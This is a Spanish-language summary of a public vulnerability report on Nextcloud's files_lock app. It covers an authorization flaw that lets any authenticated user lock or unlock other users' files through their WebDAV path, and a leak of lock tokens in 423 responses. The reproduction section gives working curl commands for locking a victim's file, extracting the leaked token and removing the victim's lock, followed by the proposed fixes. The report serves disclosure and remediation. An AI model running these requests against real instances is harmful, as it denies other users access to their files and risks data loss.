Reports
MEDIA[IDOR / BOLA]#3301553

Nextcloud files_lock: bloquear y desbloquear ficheros de otros usuarios usando su ruta WebDAV absoluta

El plugin DAV de files_lock abría el fichero del usuario indicado en la URL sin compararlo con el usuario autenticado, y además devolvía el token de bloqueo a quien no estaba autorizado.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

La app files_lock de Nextcloud añade bloqueos de ficheros: un usuario puede bloquear manualmente un fichero para que nadie más lo modifique, y los clientes (escritorio, móvil, editores) pueden usar bloqueos WebDAV estándar basados en token.

El reporte describe dos fallos encadenados:

  1. Bloqueo de ficheros ajenos. Los manejadores LOCK y UNLOCK del plugin DAV (lib/DAV/LockPlugin.php) localizaban el fichero a partir de la URI absoluta, del tipo /remote.php/dav/files/<userId>/<ruta>, y abrían directamente la carpeta de ese <userId> sin comprobar que coincidiera con el usuario de la sesión. Cualquier usuario autenticado podía así bloquear o desbloquear ficheros de otro.
  2. Fuga del token de bloqueo. Cuando alguien intentaba desbloquear un fichero sin permiso, la respuesta 423 Locked incluía las propiedades del bloqueo, token incluido. Con ese token, el atacante podía enviar un UNLOCK WebDAV normal y quitar bloqueos de cliente de otros usuarios.

Código afectado según el investigador (commit ba6291713edd67d7bc054c8d562b5ee183f3afdf). El resolvedor extrae el usuario de la propia URL:

public function getFileFromAbsoluteUri(string $uri): Node {
    [$root, $userId, $path] = explode('/', trim($uri, '/') . '/', 3);
    if ($root !== 'files') {
        throw new NotFoundException();
    }
    $path = '/' . $path;
    $file = $this->rootFolder->getUserFolder($userId)
        ->get($path);
    return $file;
}

Y httpLock / httpUnlock lo usan directamente con la URI de la petición:

$file = $this->fileService->getFileFromAbsoluteUri($this->server->getRequestUri());

LockBackend::getFileFromUri() también puede acabar en la misma resolución absoluta, según el árbol del servidor. En cuanto a la fuga, al capturar UnauthorizedUnlockException el plugin escribe en la respuesta las propiedades de getLockProperties(), que contienen:

Application::DAV_PROPERTY_LOCK_TOKEN => $lock ? $lock->getToken() : null,

El controlador OCS (lib/Controller/LockController.php) hacía lo mismo, devolviendo $lock->jsonSerialize() en sus respuestas 423.

Se asignaron dos CVE, CVE-2026-45283 y CVE-2026-82980, con el aviso GHSA-783r-vj89-5x2q. Nextcloud lo clasificó como severidad media y pagó recompensa (importe no público). Reportado el 16 de agosto de 2025 y divulgado el 17 de septiembre de 2026.

Pasos de reproducción

Requisitos: una instancia de Nextcloud con files_lock activada y dos cuentas cualquiera. En la prueba, la víctima es alice y el atacante se llama admin, pero no hace falta ser administrador. El atacante debe conocer o adivinar el nombre de usuario de la víctima y la ruta de un fichero.

  1. Activar la app:
docker exec -u www-data nextcloud php occ app:enable files_lock
  1. Crear los usuarios alice y admin.
  2. Ejecutar el script del investigador (fragmentos esenciales a continuación). Primero, alice sube sus ficheros:
ALICE_DAV_A="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_A}"
ALICE_DAV_B="${BASE_URL}/remote.php/dav/files/${ALICE_USER}/${FILE_B}"

printf '%s\n' "${content}" | curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -T - "$url"

Ataque A: bloquear un fichero de la víctima

  1. El atacante envía un LOCK con la cabecera X-User-Lock sobre la ruta de alice:
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X LOCK -H 'X-User-Lock: 1' "${ALICE_DAV_A}"

Respuesta esperada: 200, con el atacante como nc:lock-owner.

  1. alice intenta modificar su propio fichero y recibe 423 Locked:
curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X PUT --data-binary 'new content' "${ALICE_DAV_A}"

Ataque B: robar el token y quitar un bloqueo ajeno

  1. alice crea un bloqueo WebDAV normal (con token) sobre otro fichero:
cat > /tmp/lockinfo.xml <<'XML'
<?xml version="1.0" encoding="utf-8" ?>
<D:lockinfo xmlns:D="DAV:">
  <D:lockscope><D:exclusive/></D:lockscope>
  <D:locktype><D:write/></D:locktype>
  <D:owner>alice-client</D:owner>
</D:lockinfo>
XML
curl -s -i -u "${ALICE_USER}:${ALICE_PASS}" -X LOCK -H 'Content-Type: application/xml' --data-binary @/tmp/lockinfo.xml "${ALICE_DAV_B}"
  1. El atacante intenta desbloquearlo con X-User-Lock. Falla con 423, pero el cuerpo XML incluye <nc:lock-token>:
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H 'X-User-Lock: 1' "${ALICE_DAV_B}"
LEAKED_TOKEN=$(grep -oE '<nc:lock-token>[^<]+' /tmp/pocB_leak.out | sed 's/.*>//' | head -n1 || true)
  1. Con el token filtrado, el atacante envía un UNLOCK estándar y obtiene 204 No Content:
curl -s -i -u "${ATTACKER_USER}:${ATTACKER_PASS}" -X UNLOCK -H "Lock-Token: <opaquelocktoken:${LEAKED_TOKEN}>" "${ALICE_DAV_B}"
  1. El bloqueo de alice ha desaparecido: un PUT sobre el fichero devuelve 204.
  1. Como comprobación visual, entrar en Archivos como alice: el fichero del ataque A aparece con el icono de bloqueo y no se puede editar.

Impacto

  • Denegación de escritura a voluntad. Con una sola petición por fichero, cualquier usuario de una instancia compartida puede bloquear ficheros de otros e impedir PUT, MOVE, DELETE y los guardados desde editores. Esto afecta a la colaboración y a cualquier automatización que escriba en carpetas de usuario (clientes de escritorio y móvil, editores en línea, pipelines de CI).
  • Exposición de un secreto de bloqueo. El token de los bloqueos de cliente, que funciona como una credencial, queda expuesto a usuarios no autorizados. Estos pueden retirar los bloqueos de las apps cliente, con riesgo de pérdida de datos por ediciones concurrentes.
  • No hace falta ingeniería social ni privilegios elevados: basta con una cuenta y conocer el usuario de la víctima y una ruta, que a menudo son predecibles.

Remediación

Nextcloud lo corrigió y lo publicó en el aviso GHSA-783r-vj89-5x2q. El reporte no detalla el parche aplicado, pero el investigador propuso:

  1. En httpLock / httpUnlock, dejar de usar getFileFromAbsoluteUri sin más: resolver el fichero en el contexto del usuario de la sesión, o comprobar que el <userId> de la ruta coincide con IUserSession->getUser()->getUID() y devolver 403/404 si no.
  2. Reforzar getFileFromAbsoluteUri con esa misma verificación o con comprobaciones de permisos adecuadas.
  3. No devolver el token de bloqueo en getLockProperties() ni en las respuestas OCS a quien no esté autorizado.
Nota para el revisor: el script de prueba completo del original es bastante más largo (funciones de log, limpieza, verificación); aquí solo se han copiado las órdenes esenciales. El reporte no indica CWE. Las contraseñas del script de prueba se han omitido.